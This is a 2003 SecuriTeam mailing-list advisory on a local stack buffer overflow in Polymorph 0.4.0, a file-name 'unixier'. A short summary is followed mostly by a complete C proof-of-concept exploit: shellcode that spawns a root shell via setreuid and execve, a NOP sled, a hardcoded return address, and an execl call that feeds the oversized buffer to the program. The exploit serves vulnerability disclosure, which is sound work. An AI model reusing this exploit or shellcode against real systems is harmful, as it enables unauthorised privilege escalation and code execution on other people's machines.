[EXPL] Polymorph Local Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 06/16/03

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      Polymorph Local Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

     <http://chromebob.com/proj/polymorph.html> polymorph is a file system
    "unixier". A vulnerability in the product allows local attackers to
    overflow an internal buffer. The overflow allows attackers to cause the
    program to execute arbitrary code.

    DETAILS

    Vulnerable systems:
     * Polymorph version 0.4.0

    Exploit:
    /* c-polymorph.c
     *
     * PoC exploit made for advisory based uppon an local stack based
    overflow.
     * Vulnerable versions, maybe also prior versions:
     *
     * Polymorph v0.4.0
     *
     * Tested on: Redhat 8.0
     *
     * Advisory source: c-code.net (security research team)
     * http://www.c-code.net/Releases/Advisories/c-code-adv001.txt
     *
     * ---------------------------------------------
     * coded by: demz (c-code.net) (demz@c-code.net)
     * ---------------------------------------------
     *
     */

    #include <stdio.h>

    char shellcode[]=

      "\x31\xc0" // xor eax, eax
            "\x31\xdb" // xor ebx, ebx
            "\x31\xc9" // xor ecx, ecx
            "\xb0\x46" // mov al, 70
            "\xcd\x80" // int 0x80

            "\x31\xc0" // xor eax, eax
            "\x50" // push eax
            "\x68\x6e\x2f\x73\x68" // push long 0x68732f6e
            "\x68\x2f\x2f\x62\x69" // push long 0x69622f2f
            "\x89\xe3" // mov ebx, esp
            "\x50" // push eax
            "\x53" // push ebx
            "\x89\xe1" // mov ecx, esp
            "\x99" // cdq
            "\xb0\x0b" // mov al, 11
            "\xcd\x80" // int 0x80

            "\x31\xc0" // xor eax, eax
            "\xb0\x01" // mov al, 1
            "\xcd\x80"; // int 0x80

    int main()
    {
      unsigned long ret = 0xbffff3f0;

      char buffer[2076];
      int i=0;

      memset(buffer, 0x90, sizeof(buffer));

      for (0; i < strlen(shellcode) - 1;i++)
      buffer[1000 + i] = shellcode[i];

      buffer[2076] = (ret & 0x000000ff);
      buffer[2077] = (ret & 0x0000ff00) >> 8;
      buffer[2078] = (ret & 0x00ff0000) >> 16;
      buffer[2079] = (ret & 0xff000000) >> 24;
      buffer[2080] = 0x0;

      printf("\nPolymorph v0.4.0 local exploit\n");
            printf("---------------------------------------- demz @ c-code.net
    --\n");

      execl("./polymorph", "polymorph", "-f", buffer, NULL);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:demz@c-code.net> demz.

    ========================================

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